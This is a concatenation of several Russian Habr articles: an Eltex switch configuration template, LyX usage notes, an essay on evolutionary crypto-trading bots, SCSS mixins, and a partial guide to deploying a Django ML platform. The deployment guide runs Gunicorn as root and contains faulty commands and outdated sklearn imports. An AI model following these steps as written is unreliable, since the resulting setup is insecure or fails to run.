Пора настроить порты. Начнем с порта доступа. Не углубляясь в параметры безопасности, зададим принадлежность VLAN, защиту от BPDU при появлении постороннего коммутатора, быстрый переход порта в состояние передачи и выключим LLDP (пользователям необязательно знать, какое именно оборудование мы используем в своей сети):
`interface gigabitethernet1/0/1`
`description "Simple PC access"`
`switchport mode access`
`switchport access vlan 10`
`spanning-tree portfast`
`spanning-tree bpduguard enable`
`no lldp transmit`
`no lldp receive`
Порт для соединения с другими сетевыми устройствами (uplink) настраивается в режиме trunk с запретом на прохождение native vlan и формированием полноценной выдачи информации по протоколу LLDP:
`interface gigabitethernet1/0/9`
`description "Link to CORE1 (192.168...)"`
`switchport mode trunk`
`switchport trunk allowed vlan add 10,15`
`switchport trunk native vlan 99`
`lldp optional-tlv port-desc sys-name sys-desc sys-cap`
`lldp management-address automatic`
Теперь соседнее устройство будет знать о нашем коммутаторе чуть больше:
Соберем нашу конфигурацию в один шаблон, который можно легко адаптировать под простую архитектуру локальной сети:
`hostname ekb-tower-lan1`
`username admin password ****** privilege 15`
`username not_admin password ****** privilege 15`
`enable password level 15 ******`
`ip ssh server`
`banner login $`
`-----------------------------------------`
`----UNAUTHORIZED ACCESS IS PROHIBITED----`
`-----------------------------------------`
`$`
`banner exec $`
`--------------------------------------------------------------------`
`@@_____@@__________@@@@@@@__@@_____@@@@@@@_@@@@@@@_@@@___@@__@__@__@`
`@@__@__@@__________@@_______@@________@@___@@_______@@@_@@___@__@__@`
`@@_@@@____@@@@@@___@@_______@@________@@___@@_________@@@____@__@__@`
`@@__@_____@@@@_____@@@@@@@__@@________@@___@@@@@@@____@@@____@__@__@`
`@@__@_________@@___@@_______@@________@@___@@_______@@@_@@__________`
`@@__@@.____@@@@@___@@@@@@@__@@@@@@____@@___@@@@@@@_@@@___@@__@__@__@`
`--------------------------------------------------------------------`
`----------Switch is located in the Ekaterinburg, Malisheva 51-------`
`------------------------Server room on floor 13---------------------`
`------------------------------Daisy, Daisy--------------------------`
`----------------------------You are welcome!------------------------`
`--------------------------------------------------------------------`
`$`
`tacacs-server host 192.168.50.1 key ************`
`tacacs-server host 192.168.50.2 key ************ priority 1`
`aaa authentication enable default tacacs enable`
`aaa authentication login default tacacs local`
`aaa authentication login authorization default tacacs local`
`aaa accounting commands stop-only default tacacs`
`vlan database`
`vlan 10,15,99`
`interface vlan 15`
`description Management SVI`
`ip address 192.168.2.21 255.255.255.0`
`ip default-gateway 192.168.2.254`
`management access-list remote-access`
`permit ip-source 192.168.33.1 service ssh`
`permit ip-source 172.16.0.0 mask 255.255.255.240 service ssh`
`permit ip-source 10.0.0.1 service snmp`
`exit`
`management access-class remote-access`
`snmp-server server`
`snmp-server community ******** ro`
`clock timezone MSK +3`
`clock source sntp`
`sntp unicast client enable`
`sntp server 10.0.0.1`
`logging on`
`logging host 192.168.2.22`
`logging cli-commands`
`logging origin-id hostname`
`logging buffered informational`
`backup server tftp://10.0.0.1`
`backup path eltex/ekb-tower-lan1`
`backup write-memory`
`interface gigabitethernet1/0/1`
`description "Simple PC access"`
`switchport mode access`
`switchport access vlan 10`
`spanning-tree portfast`
`spanning-tree bpduguard enable`
`no lldp transmit`
`no lldp receive`
`interface gigabitethernet1/0/9`
`description "Link to CORE1 (192.168...)"`
`switchport mode trunk`
`switchport trunk allowed vlan add 10,15`
`switchport trunk native vlan 99`
`lldp optional-tlv port-desc sys-name sys-desc sys-cap`
`lldp management-address automatic`
Пример базовой конфигурации для [MES 23XX](https://eltexcm.ru/catalog/ethernet-kommutatory/?tpl=0&msoption%7Cparam_switch_level=L3&resource%7Cparent=31) (я формировал ее на примере MES2308), использующей распространенные сервисы по обслуживанию сетей передачи данных, готов. Спасибо за внимание! | https://habr.com/ru/post/575830/ | null | ru | null |
# LyX: Общие замечания. Часть 2
Скопировано с [моего блога](https://matematikaandinformatika.blogspot.com/p/blog-page_83.html) в целях создания еще одного русскоязычного источника информации по данной теме.
Эта статья является продолжением следующих статей одного цикла:
[статья 1](https://habr.com/ru/post/466423/)
[статья 2](https://habr.com/ru/post/482550/)
[статья 3](https://habr.com/ru/post/484282/)
[статья 4](https://habr.com/ru/post/485298/)
[статья 5](https://habr.com/ru/post/485428/)
[статья 6](https://habr.com/ru/post/485496/)
Так, ну, про колонтитулы все ясно из написанного. Хочу сказать, что идеи про них я черпал отсюда и из книги Львовского *Набор и верстка...*, я не буду особо останавливаться на том, как я получил, например, линейку внизу колонтитулов, потому что это относится не к конкретно прогре LyХ, а к
 вообще. Те, кому это действительно нужно, найдет все в названных мной источниках. Так, ну, про химию, какой ей нужно пакет подключить, все ясно. Скажу еще, что, непосредственно перед началом химической формулы, в том математическом режиме, в который я собираюсь ввести химическую формулу, нужно набрать `\ce` и нажать *Enter*. Для иллюстрации того, что разница в отображении в окне прогры с использования `\ce` и без его использования, я там набрал 2 одинаковые формулы (
) — первая с использованием `\ce`, вторая — без его использования. Как говорится, найдите 10 отличий! Знак делимости я набирал вот так:
При этом, я использовал положения курсора, аналогичные положению курсора «цвет отдельно», про которое я рассказывал в первой части этих замечаний. Палочку Ньютона с большого фото я могу получить нажатием следующей последовательности клавиш: *\*, *l*, *e*, *f*, *t*, *.*, *\*, *r*, *i*, *g*, *h*, *t*, *Shift*. Далее вставляю верхний и нижний индексы обычным способом. Далее нажатием клавиши *←* нужное число раз устанавливаю курсор в положение перед уже стоящим `\right` и только в этом положении курсора начинаю писать дробь и т. д., и т. п. После выхода из математического режима, в котором это все происходит, получаю палочку Ньютона такую же, как на фото. Так, дополнительные множители. Му-у-у… Жесть, как ето по-русски? Кстати, для этих дополнительных множителей я в преамбуле подключил пакет rotating. Вы знаете, когда я не знал, как пользоваться функцией *Preview*, о которой я рассказал [во второй статье](https://habr.com/ru/post/482550/) этой серии статей, я из кожи вылез, но сделал это в математическом режиме, так что на фото, да, эта формула в математическом режиме. Однако сейчас попробовал — никак. Курсором залез в ту формулу, чтобы пощупать, вижу следующее:
Но повторить мне это сейчас затруднительно, а тратить время на то, чтобы вспомнить это, я не буду: тогда я не знал про упомянутую мной функцию и поэтому вылез из кожи, но сделал, а теперь я (а теперь и все вы, мои уважаемые читатели) умею пользоваться этой функцией, так что сейчас я не только наберу формулу любой степени сложности, но и смогу в любой момент ее отредактировать. Но вы сможете пощупать эту формулу сами в прилагаемом мной в конце этой серии замечаний файле `.lyx`. Следующее фото:
дает такой результат:
Для **Несколько колонок** в приведенной выше преамбулы файла (уже переименованного) *Primery ispolzovanija komand v LyX.lyx* подключен пакет *multicol*. Так, далее. Я долго искал способ управления параметрами плавающего обтекаемого рисунка, описанный [вот здесь (раздел LyX: Плавающие обтекаемые рисунки)](https://habr.com/ru/post/482550/). И в процессе этого поиска, между прочим, наткнулся на такой:
Т. е. вставляем рисунок, который нужно, сделать обтекаемым текстом, как обычный, через **Вставка>Изображение...**, слева и справа от вставленного так фото вставляем блоки TеX и в эти блоки TеX вписываем начало и конец окружения *wrapfigure* со всеми требующимися параметрами. Кстати, так можно управлять и параметрами плавающей обтекаемой таблицы:
Все вместе в `.pdf` это выглядит так:
Однако, в отличие от стандартного способа плавающих объектов в прогре LyX, при таком способе вставки плавающих лбъектов, нужно писать `\usepackage{wrapfig}` в **Документ>Настройки>Преамбула LaTeX**. Следующий интересный снимок:
Так, что тут? Буквы в **Example 0.1** окружения *tabular*, стоящего в математическом режиме, вписаны еще в один математический режим. Я специально сделал этот снимок, когда курсор мигает в таблице раздела Вертикальный отступ в таблице, чтобы в отделе *LaTeX Source* окна прогры LyX, чтобы в этом отделе окна отображался код этой таблицы, так что набор такой таблицы с учетом написанного чуть ниже, в тексте **Example 0.1**, не должен вызывать никаких трудностей. Еще один способ преобразования в окне прогры LyX кода языка tikz в наглядное изображение состоит во вставке этого кода в математический (или выклочный) режим. Именно, графика раздела tikz в окне прогры LyX получается так:
Фигурные скобки после окружения *tikz* вставляется простым сочетанием клавиш `Shift`+`{`. Кстати, в том числе для этого кода в вышеприведенной преамбуле написано `\usepackage{pgf,tikz}`. А вот пример использования в прогре LyX кода, записанного на языке tikz, который вставлен в блок кода TеX:
Получается в `.pdf` вот что:
А вот как набирать xymatrix в LyX:
Это мы в математическом (или выклочном) режиме сначала набираем `\matrix`, а потом, прямо в появившимся окружении `matrix`, набираем, делаем нужное количество строк и столбцов теми же кнопками на той же панели инструментов, которыми и на которой мы это делаем, находясь в обыкновенной матрице. Квадратные скобки на фото мы набираем для каждой пары по отдельности, сначала открывающую, потом закрывающую. В результате, после выхода из математического режима, получаем вот что:
Так, ну, это
дает такое:
*Setting the start number of an enumerated list* расположено на предыдущей странице, это неинтересно. Так, на следующем фото приведен список параметров, с которыми можно обрабатывать программой LyX какой-нибудь конкретный файл `.lyx` из командной строки. Для малопонимающих, о чем я говорю, показываю:
Далее:
Здесь все ясно. Вот такое:
Дает вот что:
и через пустой страницы, страницы начала новой главы, снова пустой страницы в `.pdf` получаем вот что:
Обратите внимание на номер, поставленный на эта страницу `.pdf`. Я, конечно, не спец по римским цифрам, но, судя по количеству цифр в номере страницы, это самое оно. Дальше:
 | https://habr.com/ru/post/485998/ | null | ru | null |
# Эволюционирующие торгующие системы
AI наступает, и мы этого не боимся. Предлагаю озадачить его зарабатыванием капусты на бирже. Для начала, а там посмотрим.
### Термины
Агент это программа, имеющая счета в различных валютах на одной бирже, работа которой должна вести к увеличению их совокупной стоимости.
Актив агента — список счетов с наличием средств на них A = [A1,A2,..] где A1, A2,… суммы в соответствующей валюте.
Стоимость актива. Мы должны иметь универсальное мерило актива, которое позволяет оценивать актив. Примем как данность что это $. A$ (счет) является частью актива. Также примем, что у нас есть алгоритм-возможность оценить стоимость каждого счета в списке через $.
Агент может быть закрытым (полагаться только на собственный актив) либо открытым (брать взаймы). Для простоты примем, что у нас закрытый.
Каждая операция агента имеет свою стоимость So(Ax->Ay, Sum) которую будем мерять нашим мерилом $ и временем To(Ax->Ay).
Окружение агента — другие агенты или люди с похожими или непохожими алгоритмами работы + любая действительная на этот момент информация.
Стратегия агента. Это алгоритм, который получает на вход информацию о состоянии счетов, историю активности биржи, свою активность, текущую активность биржи (стаканы), а в ответ совершает или не совершает набор действий.
Стратегии могут опираться только на текущую активность биржи (примитивные),
учитывать информацию с других бирж(средние), учитывать историю активности и обнаруженные статистические закономерности (глубокие). Пессимистические или оптимистические — отличаются в оценке риска операций. Частичные или полные. Полная стратегия покрывает все аспекты функционирования агента. Частичные могут комбинироваться для образования полной.
Оптимальность стратегий и их выбор. В норме агент имеет несколько стратегий, переключение между которыми происходит при некотором стабильном (больше некоторого интервала времени) изменении окружения.
Инертность агента — сколько времени агент игнорирует изменение окружения. Или стратегия, которая определяет его устойчивость к возмущениям окружения. Более инертный агент может как выиграть так и проиграть, не поддавшись “панике” окружения.
Допустим мы имеем три набора неполных стратегий:
```
St операции покупки = [1,2,3,4]
St операции продажи = [5,6,7,8]
St инертности = [9,10,11,12]
```
Сочетания этих стратегий дает 64 уникальных варианта поведения агента, которые
Оказываются правильными(полезными) для окружений [O1, O2,O3] и бесполезными для [O4,O5,O6] или вредными для [O7, ..]
Анализируя работу стратегий и их комбинаций в работе в различных окружениях
Мы можем построить метастратегию, которая будет переключать варианты поведения агента в зависимости от детектируемого в данный момент окружения.
Платформа агентов (далее платформа, MetaBot) представляет собой специфического агента, который создает, координирует, удаляет агентов на подключенных биржах. Также как и агент она архитектурно состоит из набора управляющих стратегий, которые могут комбинироваться для улучшения функционирования всей системы в целом. Платформа хранит историю всех операций и прочие полезные данные, позволяющие составляющим ее стратегиям эффективно (в $) управлять подчиненными агентами, анализируя общие статистические закономерности и историю влияния комбинаций стратегий на успех в конкретных окружениях. Платформа управляется метастратегией, чьи параметры эволюционируют во времени для достижения максимальной прибыли.
Окружение биржевого агента состоит из других агентов и действительной информации на данный момент. Изменения окружения для агента делятся на оптимальные, нормальные, критические, катастрофические и т.д. по степени успешности операций. Извещая платформу о своем состоянии и проводимых операциях, агент действует до тех пор, пока платформа ‘Удовлетворена’ состоянием и динамикой его счетов, иначе она его закрывает. Платформа иначе оценивает совокупные активы и может принимать решения о передачи актива от одного агента другому, которые могут работать на одной бирже или на разных. Задача платформы обеспечить максимизацию совокупного актива, находящегося у всех агентов.
Рассмотрим содержимое простой реализации стратегии агента (на Scala) для обработки Orderbook биржи:
```
//минимальный период между операциями
var minDelayBetweenOperationsSec: Long
//возможна ли операция сообразно параметрам стратегии
//возвращает 0, если операция нецелесообразна или > 0 если покупка актива имеет смысл //или < 0 если продажа актива имеет смысл
def action(rateVolume: TimeRate): Double
//наблюдаемые тренды для разных периодов
def middleValues() : Seq[Double]
```
Привнесем в это геном, который будет развиваться в процессе работы системы.
StrategyParams это геном стратегии бота, содержащий множество Gene для параметризации стратегии:
```
case class StrategyParams(low: IntGene, middle: IntGene, high: IntGene, intense: DoubleGene, threshold: DoubleGene, delay: IntGene)
```
где low, middle, high являются периодaми в минутах для усредненных по нему стоимостей актива.
Они используются для предсказания движения стоимости.
Intense означает активность или агрессивность бота. С большими значениями параметра бот делает сделки на большие суммы и(или) оценивает предсказания с большим оптимизмом.
Threshold означает минимальную уверенность бота в предсказании, которая побуждает его совершить операцию. Delay — инертность, минимальное время между активациями.
Постулируется, что существует оптимальная стратегия бота на любой период, описанная StrategyParams параметрами, которые можно вычислить по истории движения курса актива. Ее параметры можно вычислить, используя эволюционный алгоритм отбора геномов. Вычисление имеет вид:
```
def evalBots(trs: Seq[TimeRate]) = EvolutionFactory(
candidate = defaultBotStrategyParams,
populationConfig = PopulationConfig(500),
evolutionConfig = EvolutionConfig(100),
errorRate = (c: StrategyParams) => {errorBot(c, trs)}
).
```
trs — история Orderbook,
populationConfig — сколько одновременно ботов конкурируют за выживание между собой, evolutionConfig — сколько итераций жизни и размножения нужно сделать. В процессе итераций, боты имеющию меньше активов с меньшей вероятностью дают потомство с другими ботами, что в конечном итоге при достаточно большой популяции и количестве перерождений-эволюций должно привести нас к идеальному боту (ботам).
Получив-рассчитав такого бота(ов) для известного периода (истории), нужно как-то использовать его для эффективной торговли в будущем. Платформа-Metabot и ее MetaStrategy займется этим вопросом.
Рассмотрим содержимое простой реализации стратегии платформы:
```
MetaStrategy(rateSensitivity: DoubleGene, volumeSensitivity: DoubleGene, profitSensitivity: DoubleGene, criticalForce: DoubleGene, volumesSize: IntGene, delaySwitching: IntGene)
```
где rateSensitivity, volumeSensitivity, profitSensitivity описывают насколько поведение Платформы чувствительно к изменению параметров цены актива, объема торгов, и снижению ожидаемой прибыли от операций.
criticalForce устанавливает пороговое значение, основанное на комплексной оценке вышеозначенных параметров, превышение которого является сигналом неэффективности текущей стратегии бота (не платформы) и вычисления еe(текущей стратегии бота) более удачной версии.
Фрагмент реализации:
```
val force = rateForce * volumeForce * profitForce
if (force >= strategy.criticalForce.value.get)
changeBot(force / strategy.criticalForce.value.get, extremeBot, tr)
```
Описав алгоритм стратегии платформы, использующий параметры MetaStrategy, мы можем запустить аналогичный эволюционный процесс для выращивания популяции эффективных метаботов-платформ, самый эффективный из которых станет основой торговой системы.
Для проверки эффективности этих идей был создан прототип торговой системы по криптовалюте, который можно использовать как испытатательный полигон. Для работы полигона требуются данные по истории курсов и их средних по периодам значений, которые хранятся в Influx и генерируются самим полигоном путем вытяжки через открытый API биржи bitfinex. См. object HistoryExtractor.
#### Результаты испытаний
В процессе прогонов удалось найти некоторые простые стратегии для агентов, которые без использования управляющего Metabot показывали 14% прибыли в год для тестовой 2.5 лет истории. Хотя и впечатляет, это не гарантируют те же проценты на будущих периодах. Поведение системы в реал тайм не испытывалось. Использование Metabot стратегий, рассчитанных на коротких периодах (месяц и менее) не давало прибыли, но для больших периодов вполне возможны эффективные мета-стратегии. Их расчет был затруднен ввиду большой вычислительной сложности (месяцы бесперебойной работы среднего PC). Под хаотичные курсы крипты можно подстраиваться лишь в небольших пределах, но… использование этого подхода для торговли другими активами, чья волатильность не так хаотична и имеет периоды сезонности, может дать лучшие результаты.
[Исходники полигона доступны здесь](https://bitbucket.org/GeorgeX/botscala). | https://habr.com/ru/post/463357/ | null | ru | null |
# Подборка полезных утилит SCSS
Для успешной реализации проекта разработчикам фронтенда не обойтись без проверенного арсенала расширения SCSS. Ниже представлены утилиты, которые могут пригодиться в работе.
#### Triangle
Примесь triangle (которую дизайнеры Sagi предпочитают называть «chupchick»), добавляет к всплывающей подсказке треугольник. И tooltips становится похожим на диалоговое окно. Но triangle также может использоваться в качестве автономного элемента.
```
/*
* @include triangle within a pseudo element and add positioning properties (ie. top, left)
* $direction: up, down, left, right
*/
@mixin triangle($direction, $size: 6px, $color: #222){
content: '';
display: block;
position: absolute;
height: 0; width: 0;
@if ($direction == 'up'){
border-bottom: $size solid $color;
border-left: 1/2*$size solid transparent;
border-right: 1/2*$size solid transparent;
}
@else if ($direction == 'down'){
border-top: $size solid $color;
border-left: 1/2*$size solid transparent;
border-right: 1/2*$size solid transparent;
}
@else if ($direction == 'left'){
border-top: 1/2*$size solid transparent;
border-bottom: 1/2*$size solid transparent;
border-right: $size solid $color;
}
@else if ($direction == 'right'){
border-top: 1/2*$size solid transparent;
border-bottom: 1/2*$size solid transparent;
border-left: $size solid $color;
}
}
```
Вот еще вариант готового tooltips:
```
span.tooltip:after {
content: "";
position: absolute;
width: 0;
height: 0;
border-width: 10px;
border-style: solid;
border-color: transparent #FFFFFF transparent transparent;
top: 11px;
left: -24px;
}
```
#### Currency
Утилита отображает текущие курсы валют. Используя описанный метод можно задать элементы, показывающие цену или валютные символы, выбрать базовую валюту, добавить несколько дополнительных в избранные. Таким образом на сайте будут динамично переключаться разные валюты в соответствии с местоположением пользователя.
```
%currency {
position: relative;
&:before {
content: '$';
position: relative;
left: 0;
}
}
.USD %currency:before { content: '$'; }
.EUR %currency:before { content: '\20AC'; } // must escape the html entities for each currency symbol
.ILS %currency:before { content: '\20AA'; }
.GBP %currency:before { content: '\00A3'; }
```
Пример использования:
```
45
.price {
@extend %currency;
}
```
#### Clear Fix
Есть много различных способов размещения «плавающих» блоков внутри контейнера без внесения изменений в исходный код разметки страницы. Один из наиболее популярных — micro clearfix [nicolasgallagher.com/micro-clearfix-hack](http://nicolasgallagher.com/micro-clearfix-hack/) Николаса Галлахера (Nicolas Gallagher). Ниже представлен вариант модифицированной версии с использованием псевдоэлемента :after.
```
%clearfix {
*zoom: 1;
&:after {
content: '';
display: table;
line-height: 0;
clear: both;
}
}
```
#### Respond To
Для реализации медиа запросов хорошо подходит примесь Sass [content](https://habrahabr.ru/users/content/). В результате директива позволяет управлять размерами в соответствии со стилем.
```
// Breakpoints for each query
$smartphone: 480px;
$tabletPortrait: 767px;
$tabletLandscape: 1024px;
$desktop: 1174px;
$largeScreen: 1400px;
@mixin respondTo($media) {
@if $media == smartphone {
@media (max-width: $smartphone) { @content; }
}
@else if $media == tablet {
@media (min-width: $tabletPortrait) and (max-width: $tabletLandscape) { @content; }
}
@else if $media == smallScreen {
@media (max-width: $desktop) { @content; }
}
@else if $media == desktop {
@media (min-width: $desktop) { @content; }
}
}
```
Пример использования:
```
div {
// regular styles here
@include respondTo(desktop) {
&:hover { background: blue; } // only add the hover effect on desktop browsers
}
}
```
#### Вертикальное выравнивание
Несколько модифицированная версия метода CSS-Tricks [css-tricks.com/centering-in-the-unknown](https://css-tricks.com/centering-in-the-unknown/) для вертикального центрирования элементов с динамическими размерами. Работает красиво и не требует дополнительных не-семантических элементов HTML.
```
@mixin ghostVerticalAlign(){
&:before {
content: '';
display: inline-block;
vertical-align: middle;
height: 100%; width: .1px;
}
}
```
#### Кроссбраузерный text-overflow
Метод, который поможет предотвратить переполнение у блочных элементов, а также убедиться, что текстовый элемент аккуратно размещается и не вылезает за переделы блока.
```
@mixin truncateText($overflow: ellipsis){
overflow: hidden;
white-space: nowrap;
text-overflow: $overflow; // values are: clip, ellipsis, or a string
}
```
#### Анимация
Вариант примеси для анимации в CSS3 на основе фреймворка Compass.
```
@mixin animation($name, $duration: 1000ms, $iterations: infinite, $timing-function: ease, $delay: 0ms) {
// There is a FF bug that requires all time values to have units, even 0 !!!!!!
-webkit-animation: $name $duration $iterations $timing-function $delay;
-moz-animation: $name $duration $iterations $timing-function $delay;
-o-animation: $name $duration $iterations $timing-function $delay;
animation: $name $duration $iterations $timing-function $delay;
}
```
#### Alerted
Примесь Аlerted — неплохое решение для демонстрации уведомлений, напоминающих пользователю о необходимости принять те или иные меры.
```
@mixin alerted() {
&:before {
content: '';
position: absolute;
top: 6px; right: 6px;
height: 8px; width: 8px;
@include border-radius(10px);
background-color: gold;
}
&:after {
content: '';
position: absolute;
top: 0; right: 0;
height: 20px; width: 20px;
@include border-radius(20px);
background-color: transparent;
border: solid gold;
border-width: 2px; // animates
@include box-sizing(border-box);
@include animation($name: alertMe);
}
}
@keyframes alertMe {
// -vendor prefixes omitted for brevity, but should be used in production
from {
border-width: 3px;
border-color: gold;
}
to {
border-width: 0;
border-color: rgba(gold, .1);
}
}
```
#### Изменение размера Спрайтов
Примесь от Даррена Вуда (Darren Wood), которая позволяет создавать и загружать файловые изображения и затем уменьшать их, используя CSS. Замечательно подходит для работы с 2X изображениями.
```
@mixin resize-sprite($map, $sprite, $percent) {
$spritePath: sprite-path($map);
$spriteWidth: image-width($spritePath);
$spriteHeight: image-height($spritePath);
$width: image-width(sprite-file($map, $sprite));
$height: image-height(sprite-file($map, $sprite));
@include background-size(ceil($spriteWidth * ($percent/100)) ceil($spriteHeight * ($percent/100)));
width: ceil($width*($percent/100));
height: ceil($height*($percent/100));
background-position: 0 floor(nth(sprite-position($map, $sprite), 2) * ($percent/100) );
}
```
#### Tooltips
Пустые всплывающие подсказки, позволяющие размещать контент в HTML и при этом получать удивительно хорошую поддержку браузера.
```
@mixin hui_tooltip($content: attr(data-tooltip), $direction: top) {
position: relative;
&:before, &:after {
display: none;
z-index: 98;
}
&:hover {
&:after { // for text bubble
content: $content;
display: block;
position: absolute;
height: 12px; // (makes total height including padding 22px)
padding: 6px;
font-size: 12px;
white-space: nowrap;
color: #fff;
@include text-shadow(1px 1px #000);
background-color: #222;
}
@if ($direction == 'top'){
&:before {
@include triangle(down, 6px, #222);
top: -6px; margin-top: 0;
left: 47%;
}
&:after {
top: -28px;
left: 47%; margin-left: -20px;
}
}
@else if ($direction == 'bottom'){
&:before {
@include triangle(up, 6px, #222);
top: auto; margin-top: 0;
bottom: -6px;
left: 47%;
}
&:after {
bottom: -28px;
left: 47%; margin-left: -20px;
}
}
}
}
```
Список можно продолжать и продолжать. У каждого разработчика свои любимые методы и наборы инструментов для реализации проектов. | https://habr.com/ru/post/276509/ | null | ru | null |
# Разрабатываем и развёртываем собственную платформу ИИ с Python и Django
Взлёт искусственного интеллекта привёл к популярности платформ машинного обучения MLaaS. Если ваша компания не собирается строить фреймворк и развёртывать свои собственные модели, есть шанс, что она использует некоторые платформы MLaaS, например H2O или KNIME. Многие исследователи данных, которые хотят сэкономить время, пользуются этими инструментами, чтобы быстро прототипировать и тестировать модели, а позже решают, будут ли их модели работать дальше.
Но не бойтесь всей этой инфраструктуры; чтобы понять эту статью, достаточно минимума знаний языка Python и фреймворка Django. Специально к старту нового потока [курса по машинному обучению](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=200121) в этом посте покажем, как быстро создать собственную платформу ML, способную запускать самые популярные алгоритмы на лету.
[](https://habr.com/ru/company/skillfactory/blog/538320/)
*Портрет Орнеллы Мути Джозефа Айерле (фрагмент), рассчитанный с помощью технологии искусственного интеллекта.*
---
Прежде всего взгляните, пожалуйста, на сайт, [который я разработал для этого проекта](http://www.trainyourmodel.com/), и позвольте мне показать вам краткое введение в то, что можно сделать с этой платформой, в этом видео.
Как видите, вы выбираете самые популярные модели с контролируемым и неконтролируемым обучением и запускаете их всего одним щелчком мыши. Если хочется попробовать те же наборы данных, что и в видео, вы можете [скачать их здесь.](https://drive.google.com/drive/folders/12G4tPHZyHEYErSqATW-KRVcCeL80ztzb?usp=sharing)
Круто, давайте посмотрим, как это сделать! Возможно, вы работаете на ноутбуке или на облачном сервере, я использовал [сервер Digital Ocean](https://www.digitalocean.com/), приложение работает на Nginx и Gunicorn, и я подробно расскажу о том, как развёртывать его: это может быть полезно, когда нужно развёртывать приложения на Linux-сервере каждый день.
Давайте начнём настраивать наше окружение с некоторых установок:
```
sudo apt-get update
sudo apt-get install python3-pip python3-dev libpq-dev postgresql postgresql-contrib nginx # install python postgresql and nginx
# now install a postgresql database
sudo -u postgres psql #log in to psql
CREATE DATABASE myproject; #give a name to your database project
CREATE USER myprojectuser WITH PASSWORD 'password'; # create user and password
ALTER ROLE myprojectuser SET client_encoding TO 'utf8';
ALTER ROLE myprojectuser SET default_transaction_isolation TO 'read committed';
ALTER ROLE myprojectuser SET timezone TO 'UTC';
\q # log out
# cd to the folder where you want to keep your environment
sudo -H pip3 install env
virtualenv env # create a virtual environment for this project
source myprojectenv/bin/activate
pip install django gunicorn psycopg2 #install django and gunicorn
# now cd to the directory where you want to create your project, in my case cd /www/var
django-admin.py startproject trainyourmodel
#cd trainyourmodel
django-admin startapp portal # create an app for the views of this app
#cd trainyourmodel again and nano settings.py
```
```
# now we configure our settings.py file
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': 'myproject',
'USER': 'myprojectuser',
'PASSWORD': 'password',
'HOST': 'localhost',
'PORT': '',
}
}
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static/')
```
После этого всё, что Вам нужно сделать, — это настроить Вашу конфигурацию для сервиса Gunicorn:
```
sudo nano /etc/systemd/system/gunicorn.service
```
```
[Unit]
Description=gunicorn daemon
After=network.target
[Service]
User=root
Group=www-data
WorkingDirectory=/var/www/trainyourmodel
ExecStart=/opt/env/bin/gunicorn --access-logfile - --workers 3 --bind unix:/var/www/trainyourmodel/trainyourmodel.sock trainyourmodel.wsgi:application
```
```
sudo systemctl start gunicorn
sudo systemctl enable gunicorn
sudo systemctl status gunicorn
gunicorn --bind 0.0.0.0:8000 trainyourmodel.wsgi
```
И для Nginx:
```
sudo nano /etc/nginx/sites-available/trainyourmodel
```
```
server {
listen 80;
server_name server_domain_or_IP;
location = /favicon.ico { access_log off; log_not_found off; }
location /static/ {
root /var/www/trainyourmodel;
}
location / {
include proxy_params;
proxy_pass http://unix:/var/www/trainyourmodel/trainyourmodel.sock;
}
}
#copy the same file also in sudo nano /etc/nginx/sites-enabled/trainyourmodel
```
```
sudo systemctl restart nginx
sudo systemctl status nginx
```
Теперь всё готово, и вы можете просто клонировать код из моего [GitHub-репозитория](https://github.com/dirusali/trainyourmodel/tree/release-1.2) (текущая ветка — releasee-1.2) и установить все нужные пакеты, просто выполнив команду:
```
pip -install -r requirements.txt
```
Проверьте технические характеристики вашей системы, чтобы убедиться, что она соответствует требованиям (стоят нужные версии Python, Django и т. д.). После этого вы увидите типичные папки структуры проекта Django, а именно:
* Папка проекта `trainyourmodel` с файлом `settings.py`.
* Папка приложения под названием Portral c файлом `views.py`.
* Папка шаблонов для кода .html.
Если хочется сделать приложение красивым, нужно создать папку со статическими файлами: файлами оформления фронтенда вашего шаблона, но это выходит за рамки статьи. Если вы не знакомы с Django, вам необходимо знать, что этот фреймворк разделяет файл бэкенда с таблицами вашей базы данных (эти таблицы называются моделями), и файлы фронтенда, которые называются представлениями и шаблонами.
Я установил базу данных на тот случай, если захочу использовать её в будущем, но пока мы не используем никакую базу, так как будем запускать модели на лету, поэтому я поместил представления в папку под названием `portal`, и туда мы разместим весь код, запущенный нашими моделями.
Прежде всего мы импортируем все библиотеки, которые нам понадобятся для наших моделей машинного обучения и построения красивых графиков онлайн (Pandas, NumPy, sci-kit-learn, TensorFlow, Keras, Seaborn, Plotly и т. д.).
```
# This Python file uses the following encoding in format utf-8
import plotly
import plotly.express as px
import plotly.graph_objects as go
from django.core.mail import send_mail, BadHeaderError, EmailMessage
import io
import csv
from io import BytesIO
import base64
import functools
import operator
import random
import unicodedata
import datetime
import pandas as pd
import seaborn as sns
import numpy as np
from efficient_apriori import apriori
from sklearn import metrics
from sklearn.cross_validation import train_test_split
from sklearn.metrics import classification_report, confusion_matrix
from sklearn.ensemble import RandomForestClassifier
from sklearn.cluster import KMeans
from sklearn.svm import SVC
from sklearn.grid_search import GridSearchCV
from sklearn.neighbors import KNeighborsClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.linear_model import LinearRegression
from sklearn.naive_bayes import GaussianNB
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout
from tensorflow.keras.optimizers import RMSprop
from django.template.loader import get_template, render_to_string
from django.shortcuts import render
from django.views.generic import TemplateView
from django.views.generic.detail import DetailView
from django.views import View
from django.db.models import Count
from django.shortcuts import redirect
from portal.models import Subscribe
from el_pagination.views import AjaxListView
from django.http import Http404, JsonResponse, HttpResponse, HttpResponseRedirect, HttpResponseServerError
from django.db.models import Q
from django.contrib.staticfiles.templatetags.staticfiles import static
```
Теперь мы готовы создать функцию, которую я назвал `upload_csv`, она берёт CSV-файл, загруженный в наши шаблоны, и создаст фрейм данных Pandas. Мы будем делать самые разные вещи с данными этого файла, в зависимости от запросов пользователя. Когда пользователь кликает по опциям фронтенда, мы сохраняем опции в переменной, переменная, в свою очередь, может принимать эти значения:
* `_plot` — строим график рассеяния или тепловую карту.
* `_cate` — выполняем алгоритм Априори для категориальных переменных.
* `_unsuper` — выбираем один алгоритм ML без учителя.
* `_super` — выполняем алгоритм с учителем.
